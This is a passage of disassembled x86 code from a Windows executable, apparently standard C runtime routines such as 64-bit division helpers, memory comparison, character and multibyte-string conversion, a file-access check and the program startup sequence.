[ecx+0Ch] and edx, 108h test edx, edx jz short loc_41A289 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41A289 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41A231 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41A23A ; --------------------------------------------------------------------------- loc_41A231: ; CODE XREF: sub_41A1B0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41A23A: ; CODE XREF: sub_41A1B0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call sub_419330 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41A3BD ; --------------------------------------------------------------------------- loc_41A289: ; CODE XREF: sub_41A1B0+63j ; sub_41A1B0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41A35F mov edx, [ebp+arg_C] mov eax, [edx+0Ch] and eax, 108h test eax, eax jz short loc_41A2C4 mov ecx, [ebp+arg_C] push ecx call sub_41B920 add esp, 4 test eax, eax jz short loc_41A2C4 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A3C5 ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A1B0+F2j ; sub_41A1B0+102j cmp [ebp+var_1C], 0 jz short loc_41A2DC mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41A2E2 ; --------------------------------------------------------------------------- loc_41A2DC: ; CODE XREF: sub_41A1B0+118j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41A2E2: ; CODE XREF: sub_41A1B0+12Aj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_426840 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41A327 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A3C5 ; --------------------------------------------------------------------------- loc_41A327: ; CODE XREF: sub_41A1B0+156j mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_41A35D mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A3C5 ; --------------------------------------------------------------------------- loc_41A35D: ; CODE XREF: sub_41A1B0+18Fj jmp short loc_41A3BD ; --------------------------------------------------------------------------- loc_41A35F: ; CODE XREF: sub_41A1B0+DFj mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_420720 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_41A38A mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A3C5 ; --------------------------------------------------------------------------- loc_41A38A: ; CODE XREF: sub_41A1B0+1CBj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx+18h], 0 jle short loc_41A3B0 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_28], eax jmp short loc_41A3B7 ; --------------------------------------------------------------------------- loc_41A3B0: ; CODE XREF: sub_41A1B0+1F3j mov [ebp+var_28], 1 loc_41A3B7: ; CODE XREF: sub_41A1B0+1FEj mov ecx, [ebp+var_28] mov [ebp+var_1C], ecx loc_41A3BD: ; CODE XREF: sub_41A1B0+D4j ; sub_41A1B0:loc_41A35Dj jmp loc_41A1FB ; --------------------------------------------------------------------------- loc_41A3C2: ; CODE XREF: sub_41A1B0+4Fj mov eax, [ebp+arg_8] loc_41A3C5: ; CODE XREF: sub_41A1B0+24j ; sub_41A1B0+10Fj ... mov esp, ebp pop ebp retn sub_41A1B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3D0 proc near ; CODE XREF: sub_41114F+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call dword_4E035C ; GetFileAttributesA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41A3FB call dword_4E0350 ; RtlGetLastWin32Error push eax call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41A42C ; --------------------------------------------------------------------------- loc_41A3FB: ; CODE XREF: sub_41A3D0+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_41A42A mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_41A42A call sub_4224D0 mov dword ptr [eax], 0Dh call sub_4224E0 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_41A42C ; --------------------------------------------------------------------------- loc_41A42A: ; CODE XREF: sub_41A3D0+33j ; sub_41A3D0+3Dj xor eax, eax loc_41A42C: ; CODE XREF: sub_41A3D0+29j ; sub_41A3D0+58j mov esp, ebp pop ebp retn sub_41A3D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A430 proc near ; CODE XREF: sub_411169+3Fp ; sub_4146F0+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41A452 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41A493 ; --------------------------------------------------------------------------- loc_41A452: ; CODE XREF: sub_41A430+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41A460: ; CODE XREF: sub_41A430+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A460 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41A48E cmp edx, [esp+8+arg_4] ja short loc_41A48E jb short loc_41A48F cmp eax, [esp+8+arg_0] jbe short loc_41A48F loc_41A48E: ; CODE XREF: sub_41A430+4Ej ; sub_41A430+54j dec esi loc_41A48F: ; CODE XREF: sub_41A430+56j ; sub_41A430+5Cj xor edx, edx mov eax, esi loc_41A493: ; CODE XREF: sub_41A430+20j pop esi pop ebx retn 10h sub_41A430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A4A0 proc near ; CODE XREF: sub_411169+2Dp ; sub_4146F0+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41A4C1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41A511 ; --------------------------------------------------------------------------- loc_41A4C1: ; CODE XREF: sub_41A4A0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41A4CF: ; CODE XREF: sub_41A4A0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A4CF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41A4FA cmp edx, [esp+4+arg_4] ja short loc_41A4FA jb short loc_41A502 cmp eax, [esp+4+arg_0] jbe short loc_41A502 loc_41A4FA: ; CODE XREF: sub_41A4A0+4Aj ; sub_41A4A0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41A502: ; CODE XREF: sub_41A4A0+52j ; sub_41A4A0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41A511: ; CODE XREF: sub_41A4A0+1Fj pop ebx retn 10h sub_41A4A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A520 proc near ; CODE XREF: sub_411278+5Ep ; sub_411278+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41A541 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41A541: ; CODE XREF: sub_41A520+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41A55D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41A55D: ; CODE XREF: sub_41A520+27j or eax, eax jnz short loc_41A579 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41A5BA ; --------------------------------------------------------------------------- loc_41A579: ; CODE XREF: sub_41A520+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41A587: ; CODE XREF: sub_41A520+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41A587 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41A5B5 cmp edx, [esp+0Ch+arg_4] ja short loc_41A5B5 jb short loc_41A5B6 cmp eax, [esp+0Ch+arg_0] jbe short loc_41A5B6 loc_41A5B5: ; CODE XREF: sub_41A520+85j ; sub_41A520+8Bj dec esi loc_41A5B6: ; CODE XREF: sub_41A520+8Dj ; sub_41A520+93j xor edx, edx mov eax, esi loc_41A5BA: ; CODE XREF: sub_41A520+57j dec edi jnz short loc_41A5C4 neg edx neg eax sbb edx, 0 loc_41A5C4: ; CODE XREF: sub_41A520+9Bj pop ebx pop esi pop edi retn 10h sub_41A520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A5D0 proc near ; CODE XREF: sub_411757+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41A61C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41A61D test eax, 1 jz short loc_41A5FD mov cl, [esi] cmp cl, [edi] jnz short loc_41A64A inc esi inc edi dec eax jz short loc_41A61A loc_41A5FD: ; CODE XREF: sub_41A5D0+20j ; sub_41A5D0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41A64A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41A64A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41A5FD loc_41A61A: ; CODE XREF: sub_41A5D0+2Bj ; sub_41A5D0+84j pop edi pop esi locret_41A61C: ; CODE XREF: sub_41A5D0+6j retn ; --------------------------------------------------------------------------- loc_41A61D: ; CODE XREF: sub_41A5D0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41A652 repe cmpsd jz short loc_41A652 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41A645 cmp ch, dh jnz short loc_41A645 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41A645 cmp ch, dh loc_41A645: ; CODE XREF: sub_41A5D0+63j ; sub_41A5D0+67j ... mov eax, 0 loc_41A64A: ; CODE XREF: sub_41A5D0+26j ; sub_41A5D0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A652: ; CODE XREF: sub_41A5D0+55j ; sub_41A5D0+59j test eax, eax jz short loc_41A61A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41A645 dec eax jz short loc_41A679 cmp dh, ch jnz short loc_41A645 dec eax jz short loc_41A679 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41A645 dec eax loc_41A679: ; CODE XREF: sub_41A5D0+8Fj ; sub_41A5D0+96j pop edi pop esi retn sub_41A5D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A690 proc near ; CODE XREF: sub_411A6E+6p ; sub_411A8C+48p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE074, 0 jnz short loc_41A6B7 cmp [ebp+arg_0], 41h jl short loc_41A6B2 cmp [ebp+arg_0], 5Ah jg short loc_41A6B2 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41A6B2: ; CODE XREF: sub_41A690+11j ; sub_41A690+17j mov eax, [ebp+arg_0] jmp short loc_41A71F ; --------------------------------------------------------------------------- loc_41A6B7: ; CODE XREF: sub_41A690+Bj push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_41A6E9 push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41A6F0 ; --------------------------------------------------------------------------- loc_41A6E9: ; CODE XREF: sub_41A690+39j mov [ebp+var_4], 0 loc_41A6F0: ; CODE XREF: sub_41A690+57j mov ecx, [ebp+arg_0] push ecx call sub_41A730 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_41A711 push 13h call sub_41BD20 add esp, 4 jmp short loc_41A71C ; --------------------------------------------------------------------------- loc_41A711: ; CODE XREF: sub_41A690+73j push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_41A71C: ; CODE XREF: sub_41A690+7Fj mov eax, [ebp+arg_0] loc_41A71F: ; CODE XREF: sub_41A690+25j mov esp, ebp pop ebp retn sub_41A690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A730 proc near ; CODE XREF: sub_41A690+64p ; sub_431210+94p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4DE074, 0 jnz short loc_41A75C cmp [ebp+arg_0], 41h jl short loc_41A754 cmp [ebp+arg_0], 5Ah jg short loc_41A754 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41A754: ; CODE XREF: sub_41A730+13j ; sub_41A730+19j mov eax, [ebp+arg_0] jmp loc_41A857 ; --------------------------------------------------------------------------- loc_41A75C: ; CODE XREF: sub_41A730+Dj cmp [ebp+arg_0], 100h jge short loc_41A7A3 cmp dword_447480, 1 jle short loc_41A781 push 1 mov ecx, [ebp+arg_0] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_10], eax jmp short loc_41A795 ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A730+3Cj mov edx, [ebp+arg_0] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_41A795: ; CODE XREF: sub_41A730+4Fj cmp [ebp+var_10], 0 jnz short loc_41A7A3 mov eax, [ebp+arg_0] jmp loc_41A857 ; --------------------------------------------------------------------------- loc_41A7A3: ; CODE XREF: sub_41A730+33j ; sub_41A730+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41A7EC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_41A7FD ; --------------------------------------------------------------------------- loc_41A7EC: ; CODE XREF: sub_41A730+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_41A7FD: ; CODE XREF: sub_41A730+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, dword_4DE074 push edx call sub_4275A0 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41A831 mov eax, [ebp+arg_0] jmp short loc_41A857 ; --------------------------------------------------------------------------- loc_41A831: ; CODE XREF: sub_41A730+FAj cmp [ebp+var_4], 1 jnz short loc_41A841 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_41A857 ; --------------------------------------------------------------------------- loc_41A841: ; CODE XREF: sub_41A730+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_41A857: ; CODE XREF: sub_41A730+27j ; sub_41A730+6Ej ... mov esp, ebp pop ebp retn sub_41A730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A860 proc near ; CODE XREF: sub_412159+9Cp ; sub_41313B+55p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41A86A: ; CODE XREF: sub_41A860+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_41A881 jmp short loc_41A86A ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A860+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_41A860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A890 proc near ; CODE XREF: sub_412159+6Ep ; sub_412159+7Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_41A8C8 push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41A8CF ; --------------------------------------------------------------------------- loc_41A8C8: ; CODE XREF: sub_41A890+18j mov [ebp+var_4], 0 loc_41A8CF: ; CODE XREF: sub_41A890+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41A910 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_41A8F8 push 13h call sub_41BD20 add esp, 4 jmp short loc_41A903 ; --------------------------------------------------------------------------- loc_41A8F8: ; CODE XREF: sub_41A890+5Aj push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_41A903: ; CODE XREF: sub_41A890+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41A890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A910 proc near ; CODE XREF: sub_41A890+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_41A933 cmp [ebp+arg_8], 0 jnz short loc_41A933 xor eax, eax jmp loc_41AAF4 ; --------------------------------------------------------------------------- loc_41A933: ; CODE XREF: sub_41A910+14j ; sub_41A910+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_41A957 push offset dword_434D64 push 0 push 55h push offset dword_434D58 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41A957 int 3 ; Trap to Debugger loc_41A957: ; CODE XREF: sub_41A910+27j ; sub_41A910+44j xor eax, eax test eax, eax jnz short loc_41A933 cmp [ebp+arg_0], 0 jz loc_41AAA6 cmp dword_4DE074, 0 jnz short loc_41A9B9 loc_41A970: ; CODE XREF: sub_41A910+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_41A9B1 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41A99D mov eax, [ebp+var_4] jmp loc_41AAF4 ; --------------------------------------------------------------------------- loc_41A99D: ; CODE XREF: sub_41A910+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_41A970 ; --------------------------------------------------------------------------- loc_41A9B1: ; CODE XREF: sub_41A910+66j mov eax, [ebp+var_4] jmp loc_41AAF4 ; --------------------------------------------------------------------------- loc_41A9B9: ; CODE XREF: sub_41A910+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4DE084 push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41A9E9 mov eax, [ebp+var_4] sub eax, 1 jmp loc_41AAF4 ; --------------------------------------------------------------------------- loc_41A9E9: ; CODE XREF: sub_41A910+CCj call dword_4E0350 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41AA07 call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AA07: ; CODE XREF: sub_41A910+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_41AA1E ; --------------------------------------------------------------------------- loc_41AA15: ; CODE XREF: sub_41A910:loc_41AA5Fj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41AA1E: ; CODE XREF: sub_41A910+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_41AA61 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41AA61 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_41AA5F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_41AA5F: ; CODE XREF: sub_41A910+144j jmp short loc_41AA15 ; --------------------------------------------------------------------------- loc_41AA61: ; CODE XREF: sub_41A910+11Cj ; sub_41A910+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, dword_4DE084 push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41AAA1 call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAA1: ; CODE XREF: sub_41A910+17Fj mov eax, [ebp+var_4] jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAA6: ; CODE XREF: sub_41A910+51j cmp dword_4DE074, 0 jnz short loc_41AABD mov ecx, [ebp+arg_4] push ecx call sub_414EC0 add esp, 4 jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A910+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4DE084 push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41AAEE call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAEE: ; CODE XREF: sub_41A910+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_41AAF4: ; CODE XREF: sub_41A910+1Ej ; sub_41A910+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB00 proc near ; CODE XREF: start+8C0p ; DATA XREF: .ex_cod:off_50103Co var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434D70 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFA4h push ebx push esi push edi mov [ebp+var_18], esp call dword_4E0460 ; GetVersion mov dword_4DDF84, eax mov eax, dword_4DDF84 shr eax, 8 and eax, 0FFh mov dword_4DDF90, eax mov ecx, dword_4DDF84 and ecx, 0FFh mov dword_4DDF8C, ecx mov edx, dword_4DDF8C shl edx, 8 add edx, dword_4DDF90 mov dword_4DDF88, edx mov eax, dword_4DDF84 shr eax, 10h and eax, 0FFFFh mov dword_4DDF84, eax push 1 call sub_41F8C0 add esp, 4 test eax, eax jnz short loc_41AB94 push 1Ch call sub_41ACA0 add esp, 4 loc_41AB94: ; CODE XREF: sub_41AB00+88j call sub_421840 test eax, eax jnz short loc_41ABA7 push 10h call sub_41ACA0 add esp, 4 loc_41ABA7: ; CODE XREF: sub_41AB00+9Bj mov [ebp+var_4], 0 call sub_428460 call dword_4E045C ; GetCommandLineA mov dword_4DF684, eax call sub_428240 mov dword_4DDFD0, eax call sub_427D30 call sub_427BE0 call sub_417AB0 mov [ebp+var_30], 0 lea ecx, [ebp+var_5C] push ecx call dword_4E0458 ; GetStartupInfoA call sub_427B20 mov [ebp+var_64], eax mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_41AC07 mov eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_6C], eax jmp short loc_41AC0E ; --------------------------------------------------------------------------- loc_41AC07: ; CODE XREF: sub_41AB00+F8j mov [ebp+var_6C], 0Ah loc_41AC0E: ; CODE XREF: sub_41AB00+105j mov ecx, [ebp+var_6C] push ecx mov edx, [ebp+var_64] push edx push 0 push 0 call dword_4E0360 ; GetModuleHandleA push eax call sub_401404 mov [ebp+var_60], eax mov eax, [ebp+var_60] push eax call sub_417AF0 mov ecx, [ebp+var_14] mov edx, [ecx] mov eax, [edx] mov [ebp+var_68], eax mov ecx, [ebp+var_14] push ecx mov edx, [ebp+var_68] push edx call sub_427900 add esp, 8 retn sub_41AB00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_417B10 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC70 proc near ; CODE XREF: sub_419F80+2Cp ; sub_41ACD0+8Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4DDFD8, 1 jnz short loc_41AC81 call sub_428830 loc_41AC81: ; CODE XREF: sub_41AC70+Aj mov eax, [ebp+arg_0] push eax call sub_428880 add esp, 4 push 0FFh call off_444ED0 add esp, 4 pop ebp retn sub_41AC70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACA0 proc near ; CODE XREF: sub_41AB00+8Cp ; sub_41AB00+9Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4DDFD8, 1 jnz short loc_41ACB1 